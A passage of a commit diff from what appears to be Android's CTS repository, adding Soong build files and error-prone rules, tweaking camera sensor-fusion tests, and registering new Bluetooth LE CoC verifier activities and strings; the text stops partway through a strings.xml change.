Merge "Merge "Merge "Merge "[automerger skipped] Merge "DO NOT MERGE: DirectBootHostTest on the device that doesn't support secure lock screen" into nougat-cts-dev am: 27764a59cb -s ours am: 079ebb8c7e -s ours am: 84a1c051aa -s ours am: 70c8804f62 -s ours
am: 9b101c6b5c -s ours
am skip reason: subject contains skip directive

Change-Id: I0a07d560b8efb3116992d2e8a3cd1727c7e5f6eb
diff --git a/Android.bp b/Android.bp
new file mode 100644
index 0000000..2dce5de
--- /dev/null
+++ b/Android.bp
@@ -0,0 +1,78 @@
+java_defaults {
+    name: "cts_error_prone_rules",
+    errorprone: {
+        javacflags: [
+            // Set of error prone rules to ensure code quality
+            // When updating this list, also update error_prone_rules.mk
+            "-Xep:ArrayToString:ERROR",
+            "-Xep:BoxedPrimitiveConstructor:ERROR",
+            "-Xep:ConstantField:ERROR",
+            "-Xep:EqualsIncompatibleType:ERROR",
+            "-Xep:FormatString:ERROR",
+            "-Xep:GetClassOnClass:ERROR",
+            "-Xep:IdentityBinaryExpression:ERROR",
+            "-Xep:JUnit3TestNotRun:ERROR",
+            "-Xep:JUnit4ClassUsedInJUnit3:ERROR",
+            "-Xep:JUnitAmbiguousTestClass:ERROR",
+            "-Xep:MissingFail:ERROR",
+            "-Xep:MissingOverride:ERROR",
+            "-Xep:Overrides:ERROR",
+            "-Xep:ReferenceEquality:ERROR",
+            "-Xep:RemoveUnusedImports:ERROR",
+            "-Xep:ReturnValueIgnored:ERROR",
+            "-Xep:SelfEquals:ERROR",
+            "-Xep:SizeGreaterThanOrEqualsZero:ERROR",
+            "-Xep:TryFailThrowable:ERROR",
+        ],
+    },
+}
+
+java_defaults {
+    name: "cts_error_prone_rules_tests",
+    errorprone: {
+        javacflags: [
+            // Set of error prone rules to ensure code quality of tests
+            // Goal is to eventually merge with cts_error_prone_rules
+            // When updating this list, also update error_prone_rules_tests.mk
+            "-Xep:ArrayToString:ERROR",
+            "-Xep:CollectionIncompatibleType:ERROR",
+            "-Xep:EqualsIncompatibleType:ERROR",
+            "-Xep:EqualsNaN:ERROR",
+            "-Xep:FormatString:ERROR",
+            "-Xep:IdentityBinaryExpression:ERROR",
+            "-Xep:JUnit3TestNotRun:ERROR",
+            "-Xep:JUnit4ClassUsedInJUnit3:ERROR",
+            "-Xep:JUnitAmbiguousTestClass:ERROR",
+            "-Xep:MissingFail:ERROR",
+            "-Xep:SizeGreaterThanOrEqualsZero:ERROR",
+            "-Xep:TryFailThrowable:ERROR",
+        ],
+    },
+}
+
+// Used with an android_test / android_test_helper_app, this is equivalent to
+// BUILD_CTS_SUPPORT_PACKAGE
+java_defaults {
+    name: "cts_support_defaults",
+    defaults: ["cts_error_prone_rules_tests"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+}
+
+// Used with different module types, this is equivalent to:
+//   android_test: BUILD_CTS_PACKAGE
+//   java_library: BUILD_CTS_TARGET_JAVA_LIBRARY
+//   java_library_host: BUILD_CTS_HOST_JAVA_LIBRARY
+java_defaults {
+    name: "cts_defaults",
+    defaults: ["cts_support_defaults"],
+    target: {
+        android: {
+            static_libs: ["platform-test-annotations"],
+        },
+    },
+}
diff --git a/CtsCoverage.mk b/CtsCoverage.mk
index 8a0eef8..0ac533b 100644
--- a/CtsCoverage.mk
+++ b/CtsCoverage.mk
@@ -22,12 +22,7 @@
 
 coverage_out := $(HOST_OUT)/cts-api-coverage
 
-api_text_description := frameworks/base/api/current.txt
-api_xml_description := $(coverage_out)/api.xml
-$(api_xml_description) : $(api_text_description) $(APICHECK)
-	$(hide) echo "Converting API file to XML: $@"
-	$(hide) mkdir -p $(dir $@)
-	$(hide) $(APICHECK_COMMAND) -convert2xml $< $@
+api_xml_description := $(TARGET_OUT_COMMON_INTERMEDIATES)/api.xml
 
 napi_text_description := cts/tools/cts-api-coverage/etc/ndk-api.xml
 napi_xml_description := $(coverage_out)/ndk-api.xml
@@ -94,7 +89,7 @@
 .PHONY: cts-combined-xml-coverage
 cts-combined-xml-coverage : $(cts-combined-xml-coverage-report)
 
-.PHONY: cts-api-coverage
+.PHONY: cts-coverage-report-all cts-api-coverage
 cts-coverage-report-all: cts-test-coverage cts-verifier-coverage cts-combined-coverage cts-combined-xml-coverage
 
 # Put the test coverage report in the dist dir if "cts-api-coverage" is among the build goals.
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index 5f3e99f..189133b 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -1,12 +1,28 @@
+[Builtin Hooks]
+clang_format = true
+
+[Builtin Hooks Options]
+clang_format = --commit ${PREUPLOAD_COMMIT} --style file --extensions c,h,cc,cpp
+               tests/tests/binder_ndk
+
 [Hook Scripts]
 checkstyle_hook = ${REPO_ROOT}/prebuilts/checkstyle/checkstyle.py --sha ${PREUPLOAD_COMMIT}
                   -fw apps/CtsVerifier/src/com/android/cts/verifier/usb/
                       apps/CtsVerifierUSBCompanion/
+                      libs/
                       tests/autofillservice/
                       tests/tests/animation/
-                      tests/tests/print/
-                      tests/tests/text/
+                      tests/tests/carrierapi/
+                      tests/tests/content/
                       tests/tests/graphics/
+                      tests/tests/hardware/
+                      tests/tests/print/
+                      tests/tests/telephony/
+                      tests/tests/telephony2/
+                      tests/tests/telephony3/
+                      tests/tests/telephony4/
+                      tests/tests/telephonyprovider/
+                      tests/tests/text/
                       tests/tests/transition/
                       tests/tests/uirendering/
                       tests/tests/view/
diff --git a/apps/CameraITS/tests/sensor_fusion/test_multi_camera_frame_sync.py b/apps/CameraITS/tests/sensor_fusion/test_multi_camera_frame_sync.py
index 63ddbdd..0d3cf32 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_multi_camera_frame_sync.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_multi_camera_frame_sync.py
@@ -116,7 +116,12 @@
         # Define capture request
         s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
         req = its.objects.manual_capture_request(s, e)
-        req["android.lens.focusDistance"] = 1 / (CHART_DISTANCE * CM_TO_M)
+        fd_min = props["android.lens.info.minimumFocusDistance"]
+        fd_chart = 1 / (CHART_DISTANCE * CM_TO_M)
+        if fd_min < fd_chart:
+            req["android.lens.focusDistance"] = fd_min
+        else:
+            req["android.lens.focusDistance"] = fd_chart
 
         # capture YUVs
         out_surfaces = [{"format": "yuv", "width": W, "height": H,
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index fbf7bcd..b28854b 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -448,8 +448,12 @@
         fmt = {"format": "yuv", "width": w, "height": h}
         s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
         req = its.objects.manual_capture_request(s, e)
-        its.objects.turn_slow_filters_off(props, req)
-        req["android.lens.focusDistance"] = 1 / (CHART_DISTANCE * CM_TO_M)
+        fd_min = props["android.lens.info.minimumFocusDistance"]
+        fd_chart = 1 / (CHART_DISTANCE * CM_TO_M)
+        if fd_min < fd_chart:
+            req["android.lens.focusDistance"] = fd_min
+        else:
+            req["android.lens.focusDistance"] = fd_chart
         req["android.control.aeTargetFpsRange"] = [fps, fps]
         req["android.sensor.frameDuration"] = int(1000.0/fps * MSEC_TO_NSEC)
         print "Capturing %dx%d with sens. %d, exp. time %.1fms at %dfps" % (
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
new file mode 100644
index 0000000..01c579e
--- /dev/null
+++ b/apps/CtsVerifier/Android.bp
@@ -0,0 +1,4 @@
+filegroup {
+    name: "CtsVerifierMockVrListenerServiceFiles",
+    srcs: ["src/com/android/cts/verifier/vr/MockVrListenerService.java"],
+}
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 3208ee5..5187118 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -53,7 +53,6 @@
 LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
 LOCAL_JAVA_LIBRARIES += android.test.base.stubs
 LOCAL_JAVA_LIBRARIES += android.test.mock.stubs
-LOCAL_JAVA_LIBRARIES += bouncycastle
 LOCAL_JAVA_LIBRARIES += voip-common
 
 LOCAL_PACKAGE_NAME := CtsVerifier
@@ -82,6 +81,7 @@
 LOCAL_MODULE := cts-verifier-framework
 LOCAL_AAPT_FLAGS := --auto-add-overlay --extra-packages android.support.v4
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 19
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
 LOCAL_SRC_FILES := \
     $(call java-files-in, src/com/android/cts/verifier) \
@@ -89,7 +89,7 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 \
                                compatibility-common-util-devicesidelib \
-                               compatibility-device-util-axt \
+                               compatibility-device-util-axt
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
 
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 9910810..72800d0 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
       package="com.android.cts.verifier"
       android:versionCode="5"
-      android:versionName="9.0_r10">
+      android:versionName="9.0_r1">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="28"/>
 
@@ -59,16 +59,12 @@
     <uses-permission android:name="android.permission.READ_PHONE_STATE" />
     <uses-permission android:name="android.permission.READ_CONTACTS"/>
     <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="com.android.providers.tv.permission.WRITE_EPG_DATA" />
     <uses-permission android:name="android.permission.USE_FINGERPRINT"/>
     <uses-permission android:name="android.permission.USE_BIOMETRIC"/>
     <uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
 
-    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
     <uses-permission android:name="android.permission.READ_SMS"/>
     <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
     <uses-permission android:name="android.permission.RECEIVE_SMS" />
@@ -77,9 +73,6 @@
     <!-- Needed by UsbTest tapjacking -->
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
 
-    <!-- Needed by the Audio Quality Verifier to store the sound samples that will be mailed. -->
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-
     <!-- Needed for Telecom self-managed ConnectionService tests. -->
     <uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
 
@@ -99,7 +92,6 @@
 
         <meta-data android:name="android.telephony.HIDE_VOICEMAIL_SETTINGS_MENU"
             android:value="true"/>
-        <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".TestListActivity" android:label="@string/app_name" />
 
@@ -215,7 +207,7 @@
             <meta-data android:name="test_required_features"
                     android:value="android.software.device_admin" />
             <meta-data android:name="test_excluded_features"
-                    android:value="android.hardware.type.watch:android.hardware.type.automotive" />
+                    android:value="android.hardware.type.watch" />
         </activity>
 
         <activity android:name=".admin.ScreenLockTestActivity"
@@ -496,6 +488,11 @@
         <!-- CTS Verifier BLE Server Encrypted Test Service -->
         <service android:name=".bluetooth.BleEncryptedServerService" />
 
+        <!-- CTS Verifier BLE CoC Client Test Service -->
+        <service android:name=".bluetooth.BleCocClientService" />
+        <!-- CTS Verifier BLE CoC Server Test Service -->
+        <service android:name=".bluetooth.BleCocServerService" />
+
         <!--
              =================================================================================
              ==                     BLE Insecure Client Test Info                           ==
@@ -957,6 +954,234 @@
 
         <!--
              =================================================================================
+             ==                     BLE CoC Insecure Client Test Info                       ==
+             =================================================================================
+        -->
+        <!--
+            CTS Verifier BLE CoC Insecure Client Test Top Screen
+                test category : bt_le_coc
+                test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocInsecureClientTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_insecure_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             CTS Verifier BLE CoC Insecure Client Test List Screen
+                 test category : bt_le_coc
+                 test parent : BleInsecureClientTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocInsecureClientStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleCocInsecureClientTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+              =================================================================================
+              ==                     BLE CoC Insecure Server Test Info                       ==
+              =================================================================================
+        -->
+        <!--
+             CTS Verifier BLE Coc Insecure Server Test Top Screen
+                 test category : bt_le_coc
+                 test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocInsecureServerTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_insecure_server_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+              CTS Verifier BLE Coc Insecure Server Test List Screen
+                  test category : bt_le_coc
+                  test parent : BleCocInsecureServerTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocInsecureServerStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_server_start_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleCocInsecureServerTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             =================================================================================
+             ==                     BLE CoC Secure Client Test Info                         ==
+             =================================================================================
+        -->
+        <!--
+            CTS Verifier BLE Coc Secure Client Test Top Screen
+                test category : bt_le_coc
+                test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocSecureClientTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_secure_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             CTS Verifier BLE Coc Secure Client Test List Screen
+                 test category : bt_le_coc
+                 test parent : BleSecureClientTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocSecureClientStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleCocSecureClientTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+              =================================================================================
+              ==                     BLE CoC Secure Server Test Info                         ==
+              =================================================================================
+        -->
+        <!--
+             CTS Verifier BLE Coc Secure Server Test Top Screen
+                 test category : bt_le_coc
+                 test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocSecureServerTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_secure_server_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+              CTS Verifier BLE Coc Secure Server Test List Screen
+                  test category : bt_le_coc
+                  test parent : BleCocSecureServerTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocSecureServerStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_server_start_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleCocSecureServerTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             =================================================================================
              ==                      BLE Scanner Test Info                            ==
              =================================================================================
         -->
diff --git a/apps/CtsVerifier/jni/Android.mk b/apps/CtsVerifier/jni/Android.mk
deleted file mode 100644
index 4343259..0000000
--- a/apps/CtsVerifier/jni/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-include $(call all-subdir-makefiles)
diff --git a/apps/CtsVerifier/jni/audio_loopback/Android.bp b/apps/CtsVerifier/jni/audio_loopback/Android.bp
new file mode 100644
index 0000000..9227c75
--- /dev/null
+++ b/apps/CtsVerifier/jni/audio_loopback/Android.bp
@@ -0,0 +1,21 @@
+cc_test_library {
+    name: "libaudioloopback_jni",
+    srcs: [
+        "sles.cpp",
+        "jni_sles.c",
+        "audio_utils/atomic.c",
+        "audio_utils/fifo.c",
+        "audio_utils/roundup.c",
+    ],
+    shared_libs: [
+        "libOpenSLES",
+        "liblog",
+    ],
+    ldflags: ["-Wl,--hash-style=sysv"],
+    cflags: [
+        "-DSTDC_HEADERS",
+        "-Werror",
+        "-Wall",
+    ],
+    sdk_version: "23",
+}
diff --git a/apps/CtsVerifier/jni/audio_loopback/Android.mk b/apps/CtsVerifier/jni/audio_loopback/Android.mk
deleted file mode 100644
index 0223e4f..0000000
--- a/apps/CtsVerifier/jni/audio_loopback/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE      := libaudioloopback_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES   := \
-	sles.cpp \
-	jni_sles.c \
-	audio_utils/atomic.c \
-	audio_utils/fifo.c \
-	audio_utils/roundup.c
-
-LOCAL_SHARED_LIBRARIES := \
-	libOpenSLES \
-	liblog
-
-LOCAL_LDFLAGS := -Wl,--hash-style=sysv
-
-LOCAL_CFLAGS := -DSTDC_HEADERS \
-	-Werror -Wall
-
-LOCAL_SDK_VERSION := 23
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/apps/CtsVerifier/jni/verifier/Android.bp b/apps/CtsVerifier/jni/verifier/Android.bp
new file mode 100644
index 0000000..ddd6743
--- /dev/null
+++ b/apps/CtsVerifier/jni/verifier/Android.bp
@@ -0,0 +1,33 @@
+//
+// Copyright (C) 2010 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+    name: "libctsverifier_jni",
+    srcs: [
+        "CtsVerifierJniOnLoad.cpp",
+        "com_android_cts_verifier_camera_StatsImage.cpp",
+    ],
+    sdk_version: "current",
+    stl: "system",
+    shared_libs: ["liblog"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-Wno-unused-variable",
+    ],
+
+}
diff --git a/apps/CtsVerifier/jni/verifier/Android.mk b/apps/CtsVerifier/jni/verifier/Android.mk
deleted file mode 100644
index 9ee7eee..0000000
--- a/apps/CtsVerifier/jni/verifier/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsverifier_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-		CtsVerifierJniOnLoad.cpp \
-		com_android_cts_verifier_camera_StatsImage.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := system
-
-LOCAL_SHARED_LIBRARIES := liblog \
-
-LOCAL_CFLAGS := \
-        -Wall -Werror \
-        -Wno-unused-parameter \
-        -Wno-unused-variable \
-
-include $(BUILD_SHARED_LIBRARY)
-
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index f0f0b7e..213e6ea 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -187,6 +187,10 @@
         \n\n\"Bluetooth LE Insecure Server Test\" x \"Bluetooth LE Insecure Client Test\"
         \n\n\"Bluetooth LE Secure Client Test\" x \"Bluetooth LE Secure Server Test\"
         \n\n\"Bluetooth LE Secure Server Test\" x \"Bluetooth LE Secure Client Test\"
+        \n\n\"Bluetooth LE CoC Insecure Server Test\" x \"Bluetooth LE CoC Insecure Client Test\"
+        \n\n\"Bluetooth LE CoC Insecure Client Test\" x \"Bluetooth LE CoC Insecure Server Test\"
+        \n\n\"Bluetooth LE CoC Secure Server Test\" x \"Bluetooth LE CoC Secure Client Test\"
+        \n\n\"Bluetooth LE CoC Secure Client Test\" x \"Bluetooth LE CoC Secure Server Test\"
         \n\nThe Device Communication tests require two
         devices to pair and exchange messages. The two devices must be:
         \n\n1. a candidate device implementation running the software build to be tested
@@ -197,6 +201,7 @@
     <string name="bt_device_communication">Device Communication</string>
     <string name="bt_le">Bluetooth LE</string>
     <string name="bt_hid">Bluetooth HID</string>
+    <string name="bt_le_coc">Bluetooth LE CoC</string>
 
     <string name="bt_toggle_bluetooth">Toggle Bluetooth</string>
     <string name="bt_toggle_instructions">Disable and enable Bluetooth to successfully complete this test.</string>
@@ -205,6 +210,65 @@
     <string name="bt_disabling">Disabling Bluetooth...</string>
     <string name="bt_disabling_error">Could not disable Bluetooth...</string>
 
+    <string name="ble_coc_insecure_client_test_list_name">Bluetooth LE CoC Insecure Client Test</string>
+    <string name="ble_coc_insecure_client_test_list_info">
+        The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done without pairing. Tap \"Bluetooth LE CoC Insecure Server Test\" on the other device.
+        \n\nTap \"01 Bluetooth LE CoC Client Test\" on this device, then tap \"01 Bluetooth LE CoC Server Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+    <string name="ble_coc_insecure_client_test_info">
+        The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done without pairing.
+    </string>
+    <string name="ble_coc_insecure_server_test_list_name">Bluetooth LE CoC Insecure Server Test</string>
+    <string name="ble_coc_insecure_server_test_list_info">
+        This test is mostly automated, but requires some user interaction.
+        Once the list items below have check marks, the test is complete.
+        \n\nTap \"01 Bluetooth LE CoC Server Test\" on this device, then tap \"01 Bluetooth LE CoC Client Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+
+    <string name="ble_coc_secure_client_test_list_name">Bluetooth LE CoC Secure Client Test</string>
+    <string name="ble_coc_secure_client_test_list_info">
+        The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done without pairing. Tap \"Bluetooth LE CoC Secure Server Test\" on the other device.
+        \n\nTap \"01 Bluetooth LE CoC Client Test\" on this device, then tap \"01 Bluetooth LE CoC Server Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+    <string name="ble_coc_secure_client_test_info">
+        The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done without pairing.
+    </string>
+    <string name="ble_coc_secure_server_test_list_name">Bluetooth LE CoC Secure Server Test</string>
+    <string name="ble_coc_secure_server_test_list_info">
+        This test is mostly automated, but requires some user interaction.
+        Once the list items below have check marks, the test is complete.
+        \n\nTap \"01 Bluetooth LE CoC Server Test\" on this device, then tap \"01 Bluetooth LE CoC Client Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+
+    <!-- BLE CoC client side strings -->
+    <string name="ble_coc_client_test_name">01 Bluetooth LE CoC Client Test</string>
+    <string name="ble_coc_client_le_connect">Bluetooth LE Client Connect</string>
+    <string name="ble_coc_client_get_psm">Get peer PSM value</string>
+    <string name="ble_coc_client_coc_connect">LE CoC client Connect</string>
+    <string name="ble_coc_client_check_connection_type">Check connection type</string>
+    <string name="ble_coc_client_send_data_8bytes">Send 8 bytes</string>
+    <string name="ble_coc_client_receive_data_8bytes">Receive 8 bytes</string>
+    <string name="ble_coc_client_data_exchange">Send and receive large data buffer</string>
+
+    <!-- BLE CoC server side strings -->
+    <string name="ble_coc_server_start_name">01 Bluetooth LE CoC Server Test</string>
+    <string name="ble_coc_server_le_connect">Bluetooth LE Server Connect</string>
+    <string name="ble_coc_server_create_listener">Create LE CoC listener</string>
+    <string name="ble_coc_server_psm_read">Waiting on PSM to be read</string>
+    <string name="ble_coc_server_connection">Waiting on LE CoC connection</string>
+    <string name="ble_coc_server_check_connection_type">Check connection type</string>
+    <string name="ble_coc_server_receive_data_8bytes">Waiting to receive 8 bytes</string>
+    <string name="ble_coc_server_send_data_8bytes">Sending 8 bytes</string>
+    <string name="ble_coc_server_data_exchange">Send and receive large data buffer</string>
+
     <string name="bt_connection_access_server">Connection Access Server</string>
     <string name="bt_connection_access_client">Connection Access Client</string>
     <string name="bt_connection_access_server_info">
@@ -457,6 +521,11 @@
     <string name="ble_secure_server_test_name">Bluetooth LE Secure Server Test</string>
     <string name="ble_insecure_server_test_name">Bluetooth LE Insecure Server Test</string>
 
+    <string name="ble_coc_secure_client_test_name">Bluetooth LE CoC Secure Client Test</string>
+    <string name="ble_coc_insecure_client_test_name">Bluetooth LE CoC Insecure Client Test</string>
+    <string name="ble_coc_secure_server_test_name">Bluetooth LE CoC Secure Server Test</string>
+    <string name="ble_coc_insecure_server_test_name">Bluetooth LE CoC Insecure Server Test</string>
+
     <string name="ble_read_characteristic_nopermission_name">Bluetooth LE Read Characteristic Without Perrmission</string>
     <string name="ble_write_characteristic_nopermission_name">Bluetooth LE Write Characteristic Without Permission</string>
     <string name="ble_read_descriptor_nopermission_name">Bluetooth LE Read Descriptor Without Perrmission</string>
@@ -3251,6 +3320,8 @@
     <string name="user_restriction_set_step">
         Set \'%s\' user restriction by turning on the switch below.
     </string>
+    <string name="disallow_add_user">Disallow add user</string>
